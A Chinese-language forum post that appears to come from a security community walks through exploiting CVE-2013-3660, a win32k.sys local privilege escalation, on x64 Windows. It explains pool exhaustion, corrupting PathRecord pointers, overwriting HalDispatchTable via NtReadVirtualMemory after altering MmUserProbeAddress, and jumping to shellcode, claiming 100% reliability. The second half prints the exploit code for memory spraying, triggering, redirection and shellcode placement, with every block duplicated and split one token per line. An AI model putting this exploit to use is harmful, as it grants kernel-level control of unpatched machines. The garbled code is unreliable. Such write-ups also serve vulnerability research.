CVE-2013-3660是来自Google安全团队的研究人员Tavis Ormandy在对win32.sys做内存压力发现的,经过分析,发现是win32k.sys模块的一处本地提权漏洞,他本人也因此获得Pwnie Awards 2013提名。
本文重点、亮点:
1、全网首发成功率100%的x64平台EXP。
针对文章要说明的几点:
1、本文不做基础知识普及,只对核心漏洞代码、利用代码进行说明;
2、阅读本文之前,先阅读x86平台的知识点:
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm
3、不管是在github,还是国内网站,都是针对x86的系统对漏洞进行利用,EXP也仅仅是针对x86,并不能扩展到x64系统上。
4、本文介绍了x64系统上的EXP编写、分析、调试;
5、在x64位操作系统上,现在并没有直接可用的代码,经过研究,本人编写的EXP,成功率达到100%(原来x86下代码成功率为40%左右,x64下没有可直接使用的代码)。
6、本文着重于指导EXP编写,尤其是x64系统下的EXP编写。
原因主要是两点:
1、如果内存分配失败,图1中的new_PathRecord的next指针不会被初始化,从而指向的受污染数据。
2、没有对freelist空闲链表获取的内存节点进行初始化操作。见图2。
读到这里,如果还不理解污染数据是怎么污染池的,没关系,在第4节我会把调试的内存贴出来,就理解怎么污染到数据的了。
图1 new_PathRecord指针未初始化
图2 分配受污染的freelist链表
POC代码关键点,分为三步:
1)、消耗系统内存:
2)、填入垃圾数据:
3)、触发漏洞:
图4 漏洞触发函数调用关系图
注意上图中的红色字体,那是FlattenPath函数的调用关系。
运行上面POC关键代码之前,我们还需要确定一件事情,Points[PointNum].x 和Points[PointNum].y的在内存中实际读取的值,是不是就是x、y的值?我们先把x、y赋值成0x41414141,看看运行结果。
POC运行结果见下图,由图可见,当Points[PointNum].x 等于0x41414141的时,出现异常时,读取的数值实际为0x41414140,被左移了4位。所以,在写地址的时候,要右移4位,才能得到准确的地址。这就了为什么
Points[PointNum].x = (ULONG_PTR)(0x41414141) >> 4,
要右移4位的原因。
图5 POC运行结果
根据3节的分析可知,我们按照2节的代码运行时,堆数据的内容,如下:
图6 POC数据分析图
在上图中,ebp+8,就是PATHRECORD结构体指针,从堆数据内容可以看出,在第二次调用newpathrec出现异常时,堆里面的0xfe580104的next指针指向0x000f0000,而这就是PathRecord申请的堆地址,堆地址的内容就是x、y的数值。如果还不明显,我再放一张图:
原始版的EXP原理图,见下图。
图7 原始版EXP原理图
EXP关键代码是:
为什么代码这么写?见下图:
图8 Exploit利用点
在上图中,结合图7,变量a2就是ExploitRecord,它的prev是&HalDispatchTable[1],所以new_PathRecord->prev就等于&HalDispatchTable[1],再取next(next刚好偏移为0),实际就取到了HalDispatchTable[1]。
由图3、图7,再根据EXP关键代码可知,执行完第41行之后,HalDispatchTable[1]将会被写入new_PathRecord,这个地址是不可控的,但里面的next和prev将会分别是(PPATHRECORD)DispatchRedirect、(PPATHRECORD)&HalDispatchTable[1]。此时, 调用HalDispatchTable[1]函数,将会调用ExploitPathRecord的堆地址,比如是:0xf0000。此时,0xf0000地址的内容已经是ExploitRecord.next指针的内容(PPATHRECORD)DispatchRedirect,这就意味着,next指针既要是一个有效的地址,也要是一个可执行的代码。这就是为什么一些EXP要有这个函数的原因:
当使用x64操作系统的时候,由于只有fastcall,也就是寄存器传参,所以无法再使用上述办法编写EXP,升级后的原理,如下图:
图8 升级版EXP原理图
当把图3中的new_PathRecord写入MmUserProbeAddress之后,就可以通过:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
调用,来实现把申请的堆地址写入HalDispatchTable+8,这时,调用NtQueryIntervalProfile就会调用到shellcode。之前已经把shellcode写入了堆。
在watchdog 函数里面,写 __asm {int 3},然后断下,调试过程如下图:
上面是x86下原始版代码调试过程截图,对于x64下的调试,和x86异曲同工,就没有截图进行说明了。因为从原理也可以看出,其实x64下的调试过程更简单,但是EXP编写的技巧更强,这里,我就介绍下x64平台下编写EXP的技巧,调试的话,就各位自己下来调试了。
通过while循环,找到一个最低的堆地址,然后把这个地址作为长度,分配相应大小的空间。因为
把shellcode函数地址写入HalDispatchTable的代码是:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
前面已经分析过,现在我们结合代码,再来看看。
在
NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
这里,
假如分配地址是0x1F0000,那么分配的内存大小就是0x1F0000,因为NtReadVirtualMemory,的最后一个参数是读入的实际大小,这儿需要定义成地址大小,那么就把CodeAddr这个地址,作为长度写入了HalDispatchtable+8。
NtReadVirtualMemory->长度写入HalDispatchtable+8->NtQueryIntervalProfile->调用写入的长度(地址)。
第一部分:通过while循环写入垃圾数据:
第二部分:通过看门狗把PathRecord->next替换成ExploitPathRecord
1、写shellcode函数的时候,不能通过全局参数传入函数地址去调用函数。因为汇编下的函数调用,跳转是相对下一条指令地址的跳转,通过memcpy拷贝shellcode函数到堆里面之后,这个偏移就是错误的。所以,只能通过形参把参数传进来,这样传递进来的地址,汇编之后,就会看到,函数的调用,是用类似call[rbx+0x20]这样的调用来实现的,而不是相对偏移实现。
2、修改了MmUserProbeAddress之后,如果没有及时恢复,还继续调试,系统会随时崩溃,这个时候最好是确保后续代码正确性,减少调试时间
3、shellcode函数实际上是仿冒的HaliQuerySystemInformation函数,所以NtQueryIntervalProfile->KeQueryIntervalProfile->HaliQuerySystemInformation
实际是假冒的HaliQuerySystemInformation。NtQueryIntervalProfile第一个参数,就是HaliQuerySystemInformation的第三个参数Buffer取值。
4、现在流行的EXP没有在最后利用、消耗内存的时候加入while循环,导致成功率不足40%,而且没有直接可用的x64平台代码。我在利用、消耗的地方加入了while循环,成功率提升到100%。当然,这看似很简单的操作,需要你去实际调试、总结,才可能想得出办法。
5、NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8)中,CodeAddr在函数之外是堆地址,在作为函数形参的时候是长度。之所以没有直接将shellcode地址作为NtReadVirtualMemory的参数,是因为x64平台的地址太大了,分配不了如此大的空间。实际在EXP编写代码时候,要从最小地址搜索,通过while循环,慢慢增加,搜索到一个最小的可分配的堆地址,然后分配和地址相同大小的空间之后,作为NtReadVirtualMemory第四个参数,就可以把堆地址写入目标地址了。
你下载跟我相同版本的系统,成功率会是100%。
源代码已经上传github,下载地址为:
CVE-2013-3660 x64平台源代码
for
(Size
=
1
<<
26
; Size; Size >>
=
1
) {
while
(Regions[NumRegion]
=
CreateRoundRectRgn(
0
,
0
,
1
, Size,
1
,
1
)) {
NumRegion
+
+
;
}
}
for
(Size
=
1
<<
26
; Size; Size >>
=
1
) {
while
(Regions[NumRegion]
=
CreateRoundRectRgn(
0
,
0
,
1
, Size,
1
,
1
)) {
NumRegion
+
+
;
}
}
PathRecord
=
(PPATHRECORD)VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
FillMemory(PathRecord, sizeof(PATHRECORD),
0xCC
);
PathRecord
-
>
next
=
(PATHRECORD
*
)(
0x41414143
);
PathRecord
-
>prev
=
(PATHRECORD
*
)(
0x42424244
);
PathRecord
-
>flags
=
0
;
for
(PointNum
=
0
; PointNum < MAX_POLYPOINTS; PointNum
+
+
) {
Points[PointNum].x
=
(ULONG)(PathRecord) >>
4
;
Points[PointNum].y
=
0
;
PointTypes[PointNum]
=
PT_BEZIERTO;
}
PathRecord
=
(PPATHRECORD)VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
FillMemory(PathRecord, sizeof(PATHRECORD),
0xCC
);
PathRecord
-
>
next
=
(PATHRECORD
*
)(
0x41414143
);
PathRecord
-
>prev
=
(PATHRECORD
*
)(
0x42424244
);
PathRecord
-
>flags
=
0
;
for
(PointNum
=
0
; PointNum < MAX_POLYPOINTS; PointNum
+
+
) {
Points[PointNum].x
=
(ULONG)(PathRecord) >>
4
;
Points[PointNum].y
=
0
;
PointTypes[PointNum]
=
PT_BEZIERTO;
}
for
( PointNum
=
MAX_POLYPOINTS;PointNum;PointNum
-
=
3
)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}
for
( PointNum
=
MAX_POLYPOINTS;PointNum;PointNum
-
=
3
)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}
ExploitRecord.
next
=
(PPATHRECORD)
*
DispatchRedirect;
ExploitRecord.prev
=
(PPATHRECORD)&HalDispatchTable[
1
];
ExploitRecord.flags
=
PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count
=
4
;
ExploitRecord.
next
=
(PPATHRECORD)
*
DispatchRedirect;
ExploitRecord.prev
=
(PPATHRECORD)&HalDispatchTable[
1
];
ExploitRecord.flags
=
PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count
=
4
;
/
/
nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,
/
/
而
0x40
,就是ebp相对于第二个参数的偏移。
/
/
具体调试结果见EXP调试一节。
VOID __declspec(naked) HalDispatchRedirect(VOID)
{
__asm inc eax
__asm jmp dword ptr[ebp
+
0x40
];
/
/
0
__asm inc ecx
...........
}
/
/
nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,
/
/
而
0x40
,就是ebp相对于第二个参数的偏移。
/
/
具体调试结果见EXP调试一节。
VOID __declspec(naked) HalDispatchRedirect(VOID)
{
__asm inc eax
__asm jmp dword ptr[ebp
+
0x40
];
/
/
0
__asm inc ecx
...........
}
CodeAddr
=
(PVOID)
0x1000
;
DWORD_PTR AllocSize
=
0x1000
;
DWORD_PTR ADDR
=
0
;
while
(true)
{
DWORD ret
=
NtAllocateVirtualMemory((HANDLE)
-
1
,
&CodeAddr,
0
,
&AllocSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if
(ret !
=
0
) {
ADDR
=
(DWORD_PTR)CodeAddr
+
0x1000
;
CodeAddr
=
(PVOID)ADDR;
continue
;
}
else
{
break
;
}
}
NtReadVirtualMemoryBuffer
=
(PBYTE)malloc((SIZE_T)CodeAddr);
printf(
"NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n"
, \
NtReadVirtualMemoryBuffer, CodeAddr);
printf(
"ShellCode_END = %p\n"
, ShellCode_END);
printf(
"ShellCode = %p\n"
, ShellCode);
printf(
"%x\n"
, (PBYTE)ShellCode_END
-
(PBYTE)ShellCode);
memcpy(CodeAddr, ShellCode, (PBYTE)ShellCode_END
-
(PBYTE)ShellCode);
CodeAddr
=
(PVOID)
0x1000
;
DWORD_PTR AllocSize
=
0x1000
;
DWORD_PTR ADDR
=
0
;
while
(true)
{
DWORD ret
=
NtAllocateVirtualMemory((HANDLE)
-
1
,
&CodeAddr,
0
,
&AllocSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if
(ret !
=
0
) {
ADDR
=
(DWORD_PTR)CodeAddr
+
0x1000
;
CodeAddr
=
(PVOID)ADDR;
continue
;
}
else
{
break
;
}
}
NtReadVirtualMemoryBuffer
=
(PBYTE)malloc((SIZE_T)CodeAddr);
printf(
"NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n"
, \
NtReadVirtualMemoryBuffer, CodeAddr);
printf(
"ShellCode_END = %p\n"
, ShellCode_END);
printf(
"ShellCode = %p\n"
, ShellCode);
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
最后于 2022-1-29 10:16
被ExploitCN编辑
,原因: